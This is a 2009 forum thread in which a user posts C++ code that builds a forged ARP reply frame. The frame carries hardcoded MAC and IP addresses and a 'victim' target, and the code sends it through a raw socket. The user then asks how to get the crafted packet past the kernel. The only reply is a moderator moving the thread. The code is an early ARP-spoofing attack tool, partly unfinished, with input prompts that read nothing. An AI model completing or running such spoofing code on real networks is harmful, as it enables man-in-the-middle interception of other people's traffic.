Send ARP Packet

Discuss how to write good code, break bad code, your current pet projects, or the best way to approach novel problems

Send ARP Packet

Post by AgentSmithers on Wed Feb 25, 2009 7:47 pm
([msg=18682]see Send ARP Packet[/msg])

Code: Select all
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#include <sys/types.h>
#define __FAVOR_BSD
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <iostream>
#include <string.h>
#include <cstdlib>
#include <net/ethernet.h>
#include <net/if.h>

char ArpReply[48];
char srcmac[6];
char destmac[6];
char srcip[16];
char destip[16];

using namespace std;

int createRaw(int protocol_to_sniff)
{
   //int raw_fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
   int raw_fd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP));
   if (raw_fd < 0)
   {
      perror("socket");
      cout << "ERROR creating raw socket\n";
      exit(1);
   }else{
      cout << "Raw Socket Created!\n";
      return raw_fd;
   }
}

int main(int argc, char *argv[])
{
   int MySocket = createRaw(6);
   cout << "Input the Victoms MAC\n";
   memcpy((void *)srcmac, "\x00\x0a\x9d\xf4\x04\xd6", 6);
   memcpy((void *)ArpReply, srcmac, 6);

   cout << "Input Your Real Mac\n";
   memcpy((void *)destmac, "\x00\x1B\xFC\xEB\x3E\xD7", 6);
   memcpy((void *)&ArpReply[6], destmac, 6);

   memcpy((void *)&ArpReply[12], "\x08\x06", 2); //This is a Arp Packet
   
   memcpy((void *)&ArpReply[14], "\x00\x01", 2); //This is Ethernet

   memcpy((void *)&ArpReply[16], "\x08\x00", 2); //Protocol Type "IP"

   memcpy((void *)&ArpReply[18], "\x06", 1); //Hardwaresize 6 Bytes

   memcpy((void *)&ArpReply[19], "\x04", 1); //Protocol Size 4 Bytes

   memcpy((void *)&ArpReply[20], "\x00\x02", 2); //This is a ARP reply!

   memcpy((void *)&ArpReply[22], "\x00\x1B\xFC\xEB\x3E\xD7", 6); //Senders Mac
   
   memcpy((void *)&ArpReply[28], "\xc0\xa8\x02\x46", 4); //Senders IP

   memcpy((void *)&ArpReply[32], "\x00\x0a\x9d\xf4\x04\xd6", 6); //Targets/Victoms Mac Address
   
   memcpy((void *)&ArpReply[38], "\xc0\xa8\x02\x96", 4); //Targets/Victoms IP Address
   
   cout << "Input the Victoms IP\n";
   cout << "Input The Victoms MAC\n";

   //write(MySocket, ArpReply, 42);
   send(MySocket, ArpReply, 42, NULL);
   /*
   int sendErr = send(MySocket, ArpReply, 41, NULL);
   
   if (sendErr < 41)
   {
      cout << sendErr << " out of " << "41" << " were sent.\n";
      exit(1);
   }else{
      cout << "<" << sendErr << "> Sent message!!!\n";
   }
   */
  return EXIT_SUCCESS;
}


The Mac and IP's are correct, Ive seen an example on a guy using send but not sendto, Im not sure if it was working code, whats the easyest way to send out a crafted buffer out pass the kernel due to I almost remade the headers?
Http://ControllingTheInter.Net
My General Computer Forum, From Security To Programming And Back To Troubleshooting.
AgentSmithers
New User
New User
 
Posts: 21
Joined: Thu Feb 12, 2009 12:27 pm
Location: Palm Springs
Blog: View Blog (0)


Re: Send ARP Packet

Post by TheMindRapist on Fri Feb 27, 2009 4:36 pm
([msg=18815]see Re: Send ARP Packet[/msg])

Moved to the General Programming forum.
Image
User avatar
TheMindRapist
Contributor
Contributor
 
Posts: 585
Joined: Mon Apr 14, 2008 4:57 pm
Blog: View Blog (0)



Return to Programming

Who is online

Users browsing this forum: No registered users and 0 guests